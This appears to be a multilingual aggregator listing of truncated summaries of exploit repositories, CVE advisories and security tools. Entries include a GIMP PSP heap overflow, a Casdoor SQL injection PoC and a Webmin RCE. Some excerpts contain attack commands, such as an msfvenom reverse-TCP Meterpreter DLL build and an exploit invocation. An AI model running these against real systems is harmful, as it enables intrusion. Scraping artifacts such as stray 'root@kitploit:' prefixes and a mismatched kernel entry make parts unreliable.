bazad5

bazad5 OS X 10.10.5におけるCVE-2016-1828を利用したローカル権限昇格...

CVE-2025-53691

CVE-2025-53691：通过不安全的反序列化实现远程代码执行（RCE） AjaxScriptManager 中的相同反射机制可用于调用 ProcessSerializedData 方法。该方法使用不安全的 BinaryFormatter 对提供的有效载荷进行反序列化，导致远程代码执行。攻击者可以构造恶意的序列化对象，在服务器上执行任意命令。 远程代码执行： 攻击者利用 CVE-2025-53691 在服务器上执行任意代码。 缓解措施 Sitecore 已为此漏洞发布补丁。强烈建议升级到最新版本的 Sitecore XP，或应用提供的安全补丁。 参考 1 Watchtowr Labs...

linux-4.19.72_CVE-2022-36946

Linux カーネル カーネル開発者とユーザー向けのガイドがいくつかあります。これらのガイドは、 HTMLやPDFなど、さまざまな形式でレンダリングできます。最初に Documentation/admin-guide/README.rst をお読みください。 ドキュメントをビルドするには、make htmldocs または make pdfdocs を使用します。整形されたドキュメントは、オンラインでも読むことができます: root@kitploit: https://www.kernel.org/doc/html/latest/ Documentation/...

darkgrid

DarkGrid – グローバル脅威インテリジェンスダッシュボード OSINT脅威インテリジェンスダッシュボード：AbuseIPDBやOpenPhishなどの公開ソースからの悪意あるインフラを表示する3D地球儀とライブフィード。 https://github.com/user-attachments/assets/e4f6a4fa-6ff4-4ad1-8e5c-5b50ce6ad722 概要 DarkGridは、世界中の不審なインターネットインフラを可視化します： 3D脅威地球儀 インジケーターのボリュームに基づいてパルスする国の「ピン」を表示。 脅威フィード...

CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload

CVE-2025-64095---DNN-認証なし任意ファイルアップロード DNNの不十分なアクセス制御 - 画像アップロードによるサイトコンテンツの上書きのPOC 私は単純な男です。cvss:10/10を見たら突撃します xD この新しいCVE CVE-2025-64095（DNNの不十分なアクセス制御 - 画像アップロードによるサイトコンテンツの上書き）を確認しました。 デフォルトのHTMLエディタプロバイダーは認証なしのファイルアップロードを許可しており、画像が既存のファイルを上書きできます。 説明...

CVE-2025-15467

CVE-2025-15467: Desbordamiento de Búfer en la Pila en OpenSSL CMS AuthEnvelopedData Resumen CVE-2025-15467 es una vulnerabilidad crítica de desbordamiento de búfer en la pila en el código de análisis de CMS Cryptographic Message Syntax de OpenSSL. La vulnerabilidad existe en la función...

pacmap

pacmap PacMap は、グラフファーストのネットワークトラフィック可視化ツールで、ライブキャプチャと PCAP リプレイに対応しています。何が変わったのか、何がノイズなのか、次に何を調べるべきかを把握するのに役立ちます。 ネットワーク動作のための Git と考えてください。スナップショット、差分、リプレイを視覚的に行えます。 入力モード PacMap は 2 つのワークフローをサポートしています。 ライブキャプチャ — ローカルインターフェースで現在発生しているトラフィックを検査します。 PCAP リプレイ — 保存された .pcap または .pcapng...

CVE-2022-0185

CVE-2022-0185 このリポジトリには、CVE-2022-0185 のデモエクスプロイトが含まれています。ここには2つのバージョンがあります。 kctf 版ではないバージョン（fuse 版）は、カーネルバージョン 5.11.0-44 の Ubuntu を特にターゲットにしています。直接ルートシェルを返すのではなく、/bin/bash を suid に設定し、これにより簡単な権限昇格が可能になります。singlestart および modprobepath オフセットを調整することで、カーネルバージョン 5.7 以降の他のほとんどの Ubuntu...

CVE-2022-24124

CVE-2022-24124 的PoC CVE-2022-24124 的漏洞利用代码，又名 Casdoor SQL 注入 漏洞利用链接：ExploitDB-50792 PacketStormSecurity 预期结果：转储运行 Casdoor 1.13.1 的主机上的 SQL 数据库版本 仅用于教育目的及企业环境中的测试。 漏洞利用用法 root@kitploit: Barricade➜ go run exploit.go -u http://127.0.0.1:8080 -=Casdoor SQL Injection CVE-2022-24124=- - by Mayank...

CVE-2024-6387

CVE-2024-6387 スクリプトのインストールと実行 💻 前提条件 開始する前に、お使いのマシンに以下のツールがインストールされていることを確認してください。 Python 3.x Git pip （Pythonの依存関係管理用） インストール手順 1. リポジトリをクローンする git を使用してリポジトリをクローンします。 root@kitploit: git clone https://github.com/dream434/CVE-2024-6387 2. プロジェクトディレクトリに移動する root@kitploit: cd CVE-2024-6387 3...

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 リモートコマンド実行エクスプロイト CVE-2012-2982 概要 このリポジトリには、Webmin バージョン 1.590 以前 に影響するリモート認証済みコマンド実行の脆弱性である CVE-2012-2982 の Proof-of-Concept PoC エクスプロイトが含まれています。この脆弱性は /file/show.cgi エンドポイントに存在し、攻撃者は操作したリクエストに特殊文字（| パイプ記号など）を注入することで任意のコマンドを実行できます。 本 PoC は教育およびセキュリティ研究目的のみ...

CVE-2025-5394

CVE-2025-5394 – WordPress Alone 主题 = 7.8.3 - 通过插件安装实现未认证任意文件上传 🔥 漏洞概述 WordPress 主题 Alone 版本 = 7.8.3 存在未认证任意文件上传 漏洞。该缺陷允许未认证攻击者 通过一个未受保护的 AJAX 端点从远程 URL 上传并安装任意插件 ZIP 文件——从而通过部署后门插件实现远程代码执行（RCE） 。 该漏洞源于 beplusimportpackinstallplugin 函数，该函数通过 wpajaxnopriv 公开暴露，且没有任何身份验证或权限检查。该函数会从用户提供的 URL 安装并激活插件。...

CVE-2021-40444-POC

CVE-2021-40444-POC Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行（RCE）の脆弱性を再現する試みです。 FlareVMで実行しない場合に最適です 準備 リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします 後で msfvenom で使用する .dll テンプレートを準備します msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 生成され...

CVE-2024-4577-RCE

PHP CGI 引数インジェクション CVE-2024-4577 RCE 📜 説明 PHP バージョン 8.1.（8.1.29 未満）、8.2. （8.2.20 未満）、8.3.（8.3.8 未満）において、Windows 上で Apache と PHP-CGI を使用している場合、システムが特定のコードページを使用するように設定されていると、Windows は Win32 API 関数に渡されるコマンドラインの文字を置き換えるために「ベストフィット」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP オプションと誤って解釈し、悪意のあるユーザーが実行中の...

macos_sandbox

macOS 入门 - 应用沙盒 继续我的 macOS 迁移系列博文，我想稍微讨论一下 macOS 应用沙盒。 强烈建议先阅读 macOS 应用结构 这篇博文——我会假定读者了解应用（App）与进程（任务）之间的区别，对 launchd 及其与应用启动的关系有一定了解。 沙盒示例 我第一次了解 macOS 沙盒时，天真地尝试创建一个恶意的 Word 宏。 这在 Windows 生态系统中（至今）仍然是一个非常常见的攻击向量，所以我想看看我是否能够直接启动进程并肆意破坏。 好吧，在 macOS 上事情并没有那么简单——例如，我确实能够运行进程，但似乎它们做不了太多事情。...

EUVD-2026-77472

A flaw was found in GIMP's PSP Paint Shop Pro file loader. When processing a compressed selection channel, a heap-based buffer overflow can occur due to a mismatch between the allocated buffer size and the amount of data decompressed. A remote attacker could exploit this vulnerability by crafting...

plecost

Plecost プロフェッショナルWordPressセキュリティスキャナー 非同期ファースト、ライブラリフレンドリー、外部API不要。 目次 Plecostとは？ Plecost vs WPScan クイックスタート インストール CVEデータベース CVE検出エンジン...

CVE-2026-90949 Gimp: gimp: heap-based buffer overflow in psp loader due to selection-channel geometry mismatch

A flaw was found in GIMP's PSP Paint Shop Pro file loader. When processing a compressed selection channel, a heap-based buffer overflow can occur due to a mismatch between the allocated buffer size and the amount of data decompressed. A remote attacker could exploit this vulnerability by crafting...

CVE-2026-90949

CVE-2026-90949 affects GIMP's PSP (Paint Shop Pro) file loader . When processing a compressed selection channel , a heap-based buffer overflow occurs due to a mismatch between the allocated buffer size and the amount of decompressed data. An attacker can craft a malicious PSP file that, when open...

swift-nio-ssh

SwiftNIO SSH Este proyecto contiene soporte SSH utilizando SwiftNIO. ¿Qué es SwiftNIO SSH? SwiftNIO SSH es una implementación programática de SSH: es decir, es una colección de APIs que permiten a los programadores implementar extremos que hablan SSH. Críticamente, esto significa que se parece má...